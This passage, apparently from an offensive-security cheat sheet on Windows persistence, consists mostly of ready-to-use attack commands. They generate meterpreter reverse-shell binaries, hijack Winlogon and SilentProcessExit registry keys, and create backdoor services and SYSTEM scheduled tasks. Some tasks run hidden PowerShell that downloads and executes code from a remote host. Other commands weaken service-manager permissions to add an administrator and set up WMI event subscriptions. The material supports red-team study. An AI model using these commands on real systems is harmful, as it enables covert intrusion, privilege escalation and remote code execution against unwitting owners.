|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">msfvenom</span> <span class="n">-p</span> <span class="n">windows</span><span class="p">/</span><span class="n">meterpreter</span><span class="p">/</span><span class="n">reverse_tcp</span> <span class="n">LHOST</span><span class="p">=</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span> <span class="n">LPORT</span><span class="p">=</span><span class="n">4444</span> <span class="o">-f</span> <span class="n">exe</span> <span class="p">></span> <span class="n">evilbinary</span><span class="p">.</span><span class="n">exe</span>
|
||
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="n">msfvenom</span> <span class="n">-p</span> <span class="n">windows</span><span class="p">/</span><span class="n">meterpreter</span><span class="p">/</span><span class="n">reverse_tcp</span> <span class="n">LHOST</span><span class="p">=</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span> <span class="n">LPORT</span><span class="p">=</span><span class="n">4444</span> <span class="o">-f</span> <span class="n">dll</span> <span class="p">></span> <span class="n">evilbinary</span><span class="p">.</span><span class="n">dll</span>
|
||
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a>
|
||
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Userinit</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"Userinit.exe, evilbinary.exe"</span> <span class="p">/</span><span class="n">f</span>
|
||
<a id="__codelineno-21-5" name="__codelineno-21-5" href="#__codelineno-21-5"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Shell</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"explorer.exe, evilbinary.exe"</span> <span class="p">/</span><span class="n">f</span>
|
||
<a id="__codelineno-21-6" name="__codelineno-21-6" href="#__codelineno-21-6"></a><span class="nb">Set-ItemProperty</span> <span class="s2">"HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"</span> <span class="s2">"Userinit"</span> <span class="s2">"Userinit.exe, evilbinary.exe"</span> <span class="n">-Force</span>
|
||
<a id="__codelineno-21-7" name="__codelineno-21-7" href="#__codelineno-21-7"></a><span class="nb">Set-ItemProperty</span> <span class="s2">"HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"</span> <span class="s2">"Shell"</span> <span class="s2">"explorer.exe, evilbinary.exe"</span> <span class="n">-Force</span>
|
||
</code></pre></div>
|
||
<h4 id="globalflag">GlobalFlag</h4>
|
||
<blockquote>
|
||
<p>Run executable after notepad is killed</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"</span> <span class="p">/</span><span class="n">v</span> <span class="n">GlobalFlag</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_DWORD</span> <span class="p">/</span><span class="n">d</span> <span class="n">512</span>
|
||
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"</span> <span class="p">/</span><span class="n">v</span> <span class="n">ReportingMode</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_DWORD</span> <span class="p">/</span><span class="n">d</span> <span class="n">1</span>
|
||
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"</span> <span class="p">/</span><span class="n">v</span> <span class="n">MonitorProcess</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\temp\evil.exe"</span>
|
||
</code></pre></div>
|
||
<h3 id="startup-elevated">Startup Elevated</h3>
|
||
<p>Create a batch script in the user startup folder.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">C</span><span class="p">:\</span><span class="n">ProgramData</span><span class="p">\</span><span class="n">Microsoft</span><span class="p">\</span><span class="n">Windows</span><span class="p">\</span><span class="nb">Start </span><span class="n">Menu</span><span class="p">\</span><span class="n">Programs</span><span class="p">\</span><span class="n">StartUp</span>
|
||
</code></pre></div>
|
||
<h3 id="services-elevated">Services Elevated</h3>
|
||
<p>Create a service that will start automatically or on-demand.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="c"># Powershell</span>
|
||
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="nb">New-Service</span> <span class="n">-Name</span> <span class="s2">"Backdoor"</span> <span class="n">-BinaryPathName</span> <span class="s2">"C:\Windows\Temp\backdoor.exe"</span> <span class="n">-Description</span> <span class="s2">"Nothing to see here."</span> <span class="n">-StartupType</span> <span class="n">Automatic</span>
|
||
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="nb">sc start </span><span class="n">Backdoor</span>
|
||
<a id="__codelineno-24-4" name="__codelineno-24-4" href="#__codelineno-24-4"></a>
|
||
<a id="__codelineno-24-5" name="__codelineno-24-5" href="#__codelineno-24-5"></a><span class="c"># SharPersist</span>
|
||
<a id="__codelineno-24-6" name="__codelineno-24-6" href="#__codelineno-24-6"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">service</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c backdoor.exe"</span> <span class="n">-n</span> <span class="s2">"Backdoor"</span> <span class="n">-m</span> <span class="n">add</span>
|
||
<a id="__codelineno-24-7" name="__codelineno-24-7" href="#__codelineno-24-7"></a>
|
||
<a id="__codelineno-24-8" name="__codelineno-24-8" href="#__codelineno-24-8"></a><span class="c"># sc</span>
|
||
<a id="__codelineno-24-9" name="__codelineno-24-9" href="#__codelineno-24-9"></a><span class="nb">sc </span><span class="n">create</span> <span class="n">Backdoor</span> <span class="n">binpath</span><span class="p">=</span> <span class="s2">"cmd.exe /k C:\temp\backdoor.exe"</span> <span class="n">start</span><span class="p">=</span><span class="s2">"auto"</span> <span class="n">obj</span><span class="p">=</span><span class="s2">"LocalSystem"</span>
|
||
<a id="__codelineno-24-10" name="__codelineno-24-10" href="#__codelineno-24-10"></a><span class="nb">sc start </span><span class="n">Backdoor</span>
|
||
</code></pre></div>
|
||
<h3 id="servicesecuritydescriptor">ServiceSecurityDescriptor</h3>
|
||
<p>Allow any arbitrary non-administrative user to have full SYSTEM permissions on a machine persistently by feeding an overly permissive ACL to the service control manager with sdset.</p>
|
||
<p><strong>Exploit</strong>:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="n">sc</span><span class="p">.</span><span class="n">exe</span> <span class="n">sdset</span> <span class="p"><</span><span class="n">ServiceName</span><span class="p">></span> <span class="p"><</span><span class="n">ServiceSecurityDescriptor</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<p>The following command grants full control (<code>Key Access</code>) over the Service Control Manager to all users (represented by <code>WD</code>, which stands for "World"). In other words, it allows any user to start, stop, modify, or control services through the Service Control Manager, which can be a security risk as it opens service management to everyone on the system.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="n">sc</span><span class="p">.</span><span class="n">exe</span> <span class="n">sdset</span> <span class="n">scmanager</span> <span class="n">D</span><span class="p">:(</span><span class="n">A</span><span class="p">;;</span><span class="n">KA</span><span class="p">;;;</span><span class="n">WD</span><span class="p">)</span>
|
||
</code></pre></div>
|
||
<ul>
|
||
<li><code>sc.exe</code>: The Service Control (sc) command is a Windows utility used for managing services.</li>
|
||
<li><code>sdset</code>: This option sets a Security Descriptor (SD) for a service or the Service Control Manager itself. A security descriptor defines permissions and access rights to system resources.</li>
|
||
<li><code>scmanager</code>: This is the target, referring to the Service Control Manager, which manages the services in the system.</li>
|
||
</ul>
|
||
<p>The <code>ServiceSecurityDescriptor</code> is defined using the Service Descriptor Definition Language (SDDL).</p>
|
||
<p>List the permissions for <code>scmanager</code></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="n">sc</span><span class="p">.</span><span class="n">exe</span> <span class="n">sdshow</span> <span class="n">scmanager</span>
|
||
</code></pre></div>
|
||
<p>Alternatively, you can use <a href="https://github.com/zacateras/sddl-parser">zacateras/sddl-parser</a> to understand the Security Descriptor Definition Language (SDDL), e.g: <code>./Sddl.Parser.Console.exe "O:BAG:BAD:(A;CI;CCDCRP;;;NS)"</code>.</p>
|
||
<p>Abuse the weaken configuration to create a service that grants administrator privilege to a custom user <code>user_basic</code>.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="nb">sc </span><span class="n">create</span> <span class="n">LPE</span> <span class="n">displayName</span><span class="p">=</span> <span class="s2">"LPE"</span> <span class="n">binPath</span><span class="p">=</span> <span class="s2">"C:\Windows\System32\net.exe localgroup Administrators user_basic /add"</span> <span class="n">start</span><span class="p">=</span> <span class="n">auto</span>
|
||
</code></pre></div>
|
||
<p>Then you need to wait for a reboot for the service to automatically start and grant the user with elevated privilege or any persistence mechanism you specified in the <code>binPath</code>.</p>
|
||
<h3 id="scheduled-tasks-elevated">Scheduled Tasks Elevated</h3>
|
||
<p>Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.</p>
|
||
<blockquote>
|
||
<p>Processes spawned as scheduled tasks have taskeng.exe process as their parent</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="c"># Powershell</span>
|
||
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a><span class="nv">$A</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskAction</span> <span class="n">-Execute</span> <span class="s2">"cmd.exe"</span> <span class="n">-Argument</span> <span class="s2">"/c C:\temp\backdoor.exe"</span>
|
||
<a id="__codelineno-29-3" name="__codelineno-29-3" href="#__codelineno-29-3"></a><span class="nv">$T</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskTrigger</span> <span class="n">-Daily</span> <span class="n">-At</span> <span class="n">9am</span>
|
||
<a id="__codelineno-29-4" name="__codelineno-29-4" href="#__codelineno-29-4"></a><span class="c"># OR</span>
|
||
<a id="__codelineno-29-5" name="__codelineno-29-5" href="#__codelineno-29-5"></a><span class="nv">$T</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskTrigger</span> <span class="n">-Daily</span> <span class="n">-At</span> <span class="s2">"9/30/2020 11:05:00 AM"</span>
|
||
<a id="__codelineno-29-6" name="__codelineno-29-6" href="#__codelineno-29-6"></a><span class="nv">$P</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskPrincipal</span> <span class="s2">"NT AUTHORITY\SYSTEM"</span> <span class="n">-RunLevel</span> <span class="n">Highest</span>
|
||
<a id="__codelineno-29-7" name="__codelineno-29-7" href="#__codelineno-29-7"></a><span class="nv">$S</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskSettingsSet</span>
|
||
<a id="__codelineno-29-8" name="__codelineno-29-8" href="#__codelineno-29-8"></a><span class="nv">$D</span> <span class="p">=</span> <span class="nb">New-ScheduledTask</span> <span class="n">-Action</span> <span class="nv">$A</span> <span class="n">-Trigger</span> <span class="nv">$T</span> <span class="n">-Principal</span> <span class="nv">$P</span> <span class="n">-Settings</span> <span class="nv">$S</span>
|
||
<a id="__codelineno-29-9" name="__codelineno-29-9" href="#__codelineno-29-9"></a><span class="nb">Register-ScheduledTask</span> <span class="s2">"Backdoor"</span> <span class="n">-InputObject</span> <span class="nv">$D</span>
|
||
<a id="__codelineno-29-10" name="__codelineno-29-10" href="#__codelineno-29-10"></a>
|
||
<a id="__codelineno-29-11" name="__codelineno-29-11" href="#__codelineno-29-11"></a><span class="c"># Native schtasks</span>
|
||
<a id="__codelineno-29-12" name="__codelineno-29-12" href="#__codelineno-29-12"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="nb">sc </span><span class="n">minute</span> <span class="p">/</span><span class="n">mo</span> <span class="n">1</span> <span class="p">/</span><span class="n">tn</span> <span class="s2">"eviltask"</span> <span class="p">/</span><span class="n">tr</span> <span class="n">C</span><span class="p">:\</span><span class="n">tools</span><span class="p">\</span><span class="n">shell</span><span class="p">.</span><span class="n">cmd</span> <span class="p">/</span><span class="n">ru</span> <span class="s2">"SYSTEM"</span>
|
||
<a id="__codelineno-29-13" name="__codelineno-29-13" href="#__codelineno-29-13"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="nb">sc </span><span class="n">minute</span> <span class="p">/</span><span class="n">mo</span> <span class="n">1</span> <span class="p">/</span><span class="n">tn</span> <span class="s2">"eviltask"</span> <span class="p">/</span><span class="n">tr</span> <span class="n">calc</span> <span class="p">/</span><span class="n">ru</span> <span class="s2">"SYSTEM"</span> <span class="p">/</span><span class="n">s</span> <span class="n">dc-mantvydas</span> <span class="p">/</span><span class="n">u</span> <span class="n">user</span> <span class="p">/</span><span class="n">p</span> <span class="n">password</span>
|
||
<a id="__codelineno-29-14" name="__codelineno-29-14" href="#__codelineno-29-14"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">Create</span> <span class="p">/</span><span class="n">RU</span> <span class="s2">"NT AUTHORITY\SYSTEM"</span> <span class="p">/</span><span class="n">tn</span> <span class="no">[TaskName]</span> <span class="p">/</span><span class="n">tr</span> <span class="s2">"regsvr32.exe -s \"</span><span class="n">C</span><span class="p">:\</span><span class="n">Users</span><span class="p">\*\</span><span class="n">AppData</span><span class="p">\</span><span class="n">Local</span><span class="p">\</span><span class="n">Temp</span><span class="p">\</span><span class="no">[payload]</span><span class="p">.</span><span class="n">dll</span><span class="p">\</span><span class="s2">""</span> <span class="p">/</span><span class="nb">SC </span><span class="n">ONCE</span> <span class="p">/</span><span class="n">Z</span> <span class="p">/</span><span class="n">ST</span> <span class="no">[Time]</span> <span class="p">/</span><span class="n">ET</span> <span class="no">[Time]</span>
|
||
<a id="__codelineno-29-15" name="__codelineno-29-15" href="#__codelineno-29-15"></a>
|
||
<a id="__codelineno-29-16" name="__codelineno-29-16" href="#__codelineno-29-16"></a><span class="c">##(X86) - On User Login</span>
|
||
<a id="__codelineno-29-17" name="__codelineno-29-17" href="#__codelineno-29-17"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="n">tn</span> <span class="n">OfficeUpdaterA</span> <span class="p">/</span><span class="n">tr</span> <span class="s2">"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'"</span> <span class="p">/</span><span class="nb">sc </span><span class="n">onlogon</span> <span class="p">/</span><span class="n">ru</span> <span class="n">System</span>
|
||
<a id="__codelineno-29-18" name="__codelineno-29-18" href="#__codelineno-29-18"></a>
|
||
<a id="__codelineno-29-19" name="__codelineno-29-19" href="#__codelineno-29-19"></a><span class="c">##(X86) - On System Start</span>
|
||
<a id="__codelineno-29-20" name="__codelineno-29-20" href="#__codelineno-29-20"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="n">tn</span> <span class="n">OfficeUpdaterB</span> <span class="p">/</span><span class="n">tr</span> <span class="s2">"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'"</span> <span class="p">/</span><span class="nb">sc </span><span class="n">onstart</span> <span class="p">/</span><span class="n">ru</span> <span class="n">System</span>
|
||
<a id="__codelineno-29-21" name="__codelineno-29-21" href="#__codelineno-29-21"></a>
|
||
<a id="__codelineno-29-22" name="__codelineno-29-22" href="#__codelineno-29-22"></a><span class="c">##(X86) - On User Idle (30mins)</span>
|
||
<a id="__codelineno-29-23" name="__codelineno-29-23" href="#__codelineno-29-23"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="n">tn</span> <span class="n">OfficeUpdaterC</span> <span class="p">/</span><span class="n">tr</span> <span class="s2">"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'"</span> <span class="p">/</span><span class="nb">sc </span><span class="n">onidle</span> <span class="p">/</span><span class="n">i</span> <span class="n">30</span>
|
||
<a id="__codelineno-29-24" name="__codelineno-29-24" href="#__codelineno-29-24"></a>
|
||
<a id="__codelineno-29-25" name="__codelineno-29-25" href="#__codelineno-29-25"></a><span class="c">##(X64) - On User Login</span>
|
||
<a id="__codelineno-29-26" name="__codelineno-29-26" href="#__codelineno-29-26"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="n">tn</span> <span class="n">OfficeUpdaterA</span> <span class="p">/</span><span class="n">tr</span> <span class="s2">"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'"</span> <span class="p">/</span><span class="nb">sc </span><span class="n">onlogon</span> <span class="p">/</span><span class="n">ru</span> <span class="n">System</span>
|
||
<a id="__codelineno-29-27" name="__codelineno-29-27" href="#__codelineno-29-27"></a>
|
||
<a id="__codelineno-29-28" name="__codelineno-29-28" href="#__codelineno-29-28"></a><span class="c">##(X64) - On System Start</span>
|
||
<a id="__codelineno-29-29" name="__codelineno-29-29" href="#__codelineno-29-29"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="n">tn</span> <span class="n">OfficeUpdaterB</span> <span class="p">/</span><span class="n">tr</span> <span class="s2">"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'"</span> <span class="p">/</span><span class="nb">sc </span><span class="n">onstart</span> <span class="p">/</span><span class="n">ru</span> <span class="n">System</span>
|
||
<a id="__codelineno-29-30" name="__codelineno-29-30" href="#__codelineno-29-30"></a>
|
||
<a id="__codelineno-29-31" name="__codelineno-29-31" href="#__codelineno-29-31"></a><span class="c">##(X64) - On User Idle (30mins)</span>
|
||
<a id="__codelineno-29-32" name="__codelineno-29-32" href="#__codelineno-29-32"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="n">tn</span> <span class="n">OfficeUpdaterC</span> <span class="p">/</span><span class="n">tr</span> <span class="s2">"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'"</span> <span class="p">/</span><span class="nb">sc </span><span class="n">onidle</span> <span class="p">/</span><span class="n">i</span> <span class="n">30</span>
|
||
</code></pre></div>
|
||
<h3 id="windows-management-instrumentation-event-subscription">Windows Management Instrumentation Event Subscription</h3>
|
||
<blockquote>
|
||
<p>An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.</p>
|
||
</blockquote>
|
||
<ul>
|
||
<li><strong>__EventFilter</strong>: Trigger (new process, failed logon etc.)</li>
|
||
<li><strong>EventConsumer</strong>: Perform Action (execute payload etc.)</li>
|
||
<li><strong>__FilterToConsumerBinding</strong>: Binds Filter and Consumer Classes</li>
|
||
</ul>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="c"># Using CMD : Execute a binary 60 seconds after Windows started</span>
|
||
<a id="__codelineno-30-2" name="__codelineno-30-2" href="#__codelineno-30-2"></a><span class="n">wmic</span> <span class="p">/</span><span class="n">NAMESPACE</span><span class="p">:</span><span class="s2">"\\root\subscription"</span> <span class="n">PATH</span> <span class="n">__EventFilter</span> <span class="n">CREATE</span> <span class="n">Name</span><span class="p">=</span><span class="s2">"WMIPersist"</span><span class="p">,</span> <span class="n">EventNameSpace</span><span class="p">=</span><span class="s2">"root\cimv2"</span><span class="p">,</span><span class="n">QueryLanguage</span><span class="p">=</span><span class="s2">"WQL"</span><span class="p">,</span> <span class="n">Query</span><span class="p">=</span><span class="s2">"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"</span>
|
||
<a id="__codelineno-30-3" name="__codelineno-30-3" href="#__codelineno-30-3"></a><span class="n">wmic</span> <span class="p">/</span><span class="n">NAMESPACE</span><span class="p">:</span><span class="s2">"\\root\subscription"</span> <span class="n">PATH</span> <span class="n">CommandLineEventConsumer</span> <span class="n">CREATE</span> <span class="n">Name</span><span class="p">=</span><span class="s2">"WMIPersist"</span><span class="p">,</span> <span class="n">ExecutablePath</span><span class="p">=</span><span class="s2">"C:\Windows\System32\binary.exe"</span><span class="p">,</span><span class="n">CommandLineTemplate</span><span class="p">=</span><span class="s2">"C:\Windows\System32\binary.exe"</span>
|
||
<a id="__codelineno-30-4" name="__codelineno-30-4" href="#__codelineno-30-4"></a><span class="n">wmic</span> <span class="p">/</span><span class="n">NAMESPACE</span><span class="p">:</span><span class="s2">"\\root\subscription"</span> <span class="n">PATH</span> <span class="n">__FilterToConsumerBinding</span> <span class="n">CREATE</span> <span class="k">Filter</span><span class="p">=</span><span class="s2">"__EventFilter.Name=\"</span><span class="n">WMIPersist</span><span class="p">\</span><span class="s2">""</span><span class="p">,</span> <span class="n">Consumer</span><span class="p">=</span><span class="s2">"CommandLineEventConsumer.Name=\"</span><span class="n">WMIPersist</span><span class="p">\</span><span class="s2">""</span>
|
||
<a id="__codelineno-30-5" name="__codelineno-30-5" href="#__codelineno-30-5"></a><span class="c"># Remove it</span>
|
||
<a id="__codelineno-30-6" name="__codelineno-30-6" href="#__codelineno-30-6"></a><span class="nb">Get-WMIObject</span> <span class="n">-Namespace</span> <span class="n">root</span><span class="p">\</span><span class="n">Subscription</span> <span class="n">-Class</span> <span class="n">__EventFilter</span> <span class="n">-Filter</span> <span class="s2">"Name='WMIPersist'"</span> <span class="p">|</span> <span class="nb">Remove-WmiObject</span> <span class="n">-Verbose</span>
|
||
<a id="__codelineno-30-7" name="__codelineno-30-7" href="#__codelineno-30-7"></a>
|
||
<a id="__codelineno-30-8" name="__codelineno-30-8" href="#__codelineno-30-8"></a><span class="c"># Using Powershell (deploy)</span>
|
||
<a id="__codelineno-30-9" name="__codelineno-30-9" href="#__codelineno-30-9"></a><span class="nv">$FilterArgs</span> <span class="p">=</span> <span class="p">@{</span><span class="n">name</span><span class="p">=</span><span class="s1">'WMIPersist'</span><span class="p">;</span> <span class="n">EventNameSpace</span><span class="p">=</span><span class="s1">'root\CimV2'</span><span class="p">;</span> <span class="n">QueryLanguage</span><span class="p">=</span><span class="s2">"WQL"</span><span class="p">;</span> <span class="n">Query</span><span class="p">=</span><span class="s2">"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"</span><span class="p">};</span>
|
||
<a id="__codelineno-30-10" name="__codelineno-30-10" href="#__codelineno-30-10"></a><span class="nv">$Filter</span><span class="p">=</span><span class="nb">New-CimInstance</span> <span class="n">-Namespace</span> <span class="n">root</span><span class="p">/</span><span class="n">subscription</span> <span class="n">-ClassName</span> <span class="n">__EventFilter</span> <span class="n">-Property</span> <span class="nv">$FilterArgs</span>
|
||
<a id="__codelineno-30-11" name="__codelineno-30-11" href="#__codelineno-30-11"></a><span class="nv">$ConsumerArgs</span> <span class="p">=</span> <span class="p">@{</span><span class="n">name</span><span class="p">=</span><span class="s1">'WMIPersist'</span><span class="p">;</span> <span class="n">CommandLineTemplate</span><span class="p">=</span><span class="s2">"</span><span class="p">$(</span><span class="nv">$Env:SystemRoot</span><span class="p">)</span><span class="s2">\System32\binary.exe"</span><span class="p">;}</span>
|
||
<a id="__codelineno-30-12" name="__codelineno-30-12" href="#__codelineno-30-12"></a><span class="nv">$Consumer</span><span class="p">=</span><span class="nb">New-CimInstance</span> <span class="n">-Namespace</span> <span class="n">root</span><span class="p">/</span><span class="n">subscription</span> <span class="n">-ClassName</span> <span class="n">CommandLineEventConsumer</span> <span class="n">-Property</span> <span class="nv">$ConsumerArgs</span>
|
||
<a id="__codelineno-30-13" name="__codelineno-30-13" href="#__codelineno-30-13"></a><span class="nv">$FilterToConsumerArgs</span> <span class="p">=</span> <span class="p">@{</span><span class="k">Filter</span> <span class="p">=</span> <span class="no">[Ref]</span> <span class="nv">$Filter</span><span class="p">;</span> <span class="n">Consumer</span> <span class="p">=</span> <span class="no">[Ref]</span> <span class="nv">$Consumer</span><span class="p">;}</span>
|
||
<a id="__codelineno-30-14" name="__codelineno-30-14" href="#__codelineno-30-14"></a><span class="nv">$FilterToConsumerBinding</span> <span class="p">=</span> <span class="nb">New-CimInstance</span> <span class="n">-Namespace</span> <span class="n">root</span><span class="p">/</span><span class="n">subscription</span> <span class="n">-ClassName</span> <span class="n">__FilterToConsumerBinding</span> <span class="n">-Property</span> <span class="nv">$FilterToConsumerArgs</span>
|
||
<a id="__codelineno-30-15" name="__codelineno-30-15" href="#__codelineno-30-15"></a><span class="c"># Using Powershell (remove)</span>
|
||
<a id="__codelineno-30-16" name="__codelineno-30-16" href="#__codelineno-30-16"></a><span class="nv">$EventConsumerToCleanup</span> <span class="p">=</span> <span class="nb">Get-WmiObject</span> <span class="n">-Namespace</span> <span class="n">root</span><span class="p">/</span><span class="n">subscription</span> <span class="n">-Class</span> <span class="n">CommandLineEventConsumer</span> <span class="n">-Filter</span> <span class="s2">"Name = 'WMIPersist'"</span>
|
||
<a id="__codelineno-30-17" name="__codelineno-30-17" href="#__codelineno-30-17"></a><span class="nv">$EventFilterToCleanup</span> <span class="p">=</span> <span class="nb">Get-WmiObject</span> <span class="n">-Namespace</span> <span class="n">root</span><span class="p">/</span><span class="n">subscription</span> <span class="n">-Class</span> <span class="n">__EventFilter</span> <span class="n">-Filter</span> <span class="s2">"Name = 'WMIPersist'"</span>
|
||
<a id="__codelineno-30-18" name="__codelineno-30-18" href="#__codelineno-30-18"></a><span class="nv">$FilterConsumerBindingToCleanup</span> <span class="p">=</span> <span class="nb">Get-WmiObject</span> <span class="n">-Namespace</span> <span class="n">root</span><span class="p">/</span><span class="n">subscription</span> <span class="n">-Query</span> <span class="s2">"REFERENCES OF {</span><span class="p">$(</span><span class="nv">$EventConsumerToCleanup</span><span class="p">.</span><span class="n">__RELPATH</span><span class="p">)</span><span class="s2">} WHERE ResultClass = __FilterToConsumerBinding"</span>
|
||
<a id="__codelineno-30-19" name="__codelineno-30-19" href="#__codelineno-30-19"></a><span class="nv">$FilterConsumerBindingToCleanup</span> <span class="p">|</span> <span class="nb">Remove-WmiObject</span>
|
||
<a id="__codelineno-30-20" name="__codelineno-30-20" href="#__codelineno-30-20"></a><span class="nv">$EventConsumerToCleanup</span> <span class="p">|</span> <span class="nb">Remove-WmiObject</span>
|
||
<a id="__codelineno-30-21" name="__codelineno-30-21" href="#__codelineno-30-21"></a><span class="nv">$EventFilterToCleanup</span> <span class="p">|</span> <span class="nb">Remove-WmiObject</span>
|
||
</code></pre></div>
|
||
<h3 id="binary-replacement">Binary Replacement</h3>
|
||
<h4 id="binary-replacement-on-windows-xp">Binary Replacement on Windows XP+</h4>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>Feature</th>
|
||
<th>Executable</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>Sticky Keys</td>
|
||
<td>C:\Windows\System32\sethc.exe</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Accessibility Menu</td>
|
||
<td>C:\Windows\System32\utilman.exe</td>
|
||
</tr>
|
||
<tr>
|
||
<td>On-Screen Keyboard</td>
|
||
<td>C:\Windows\System32\osk.exe</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Magnifier</td>
|
||
<td>C:\Windows\System32\Magnify.exe</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Narrator</td>
|
||
<td>C:\Windows\System32\Narrator.exe</td>
|
||
</tr>
|
||
<tr>
|
||
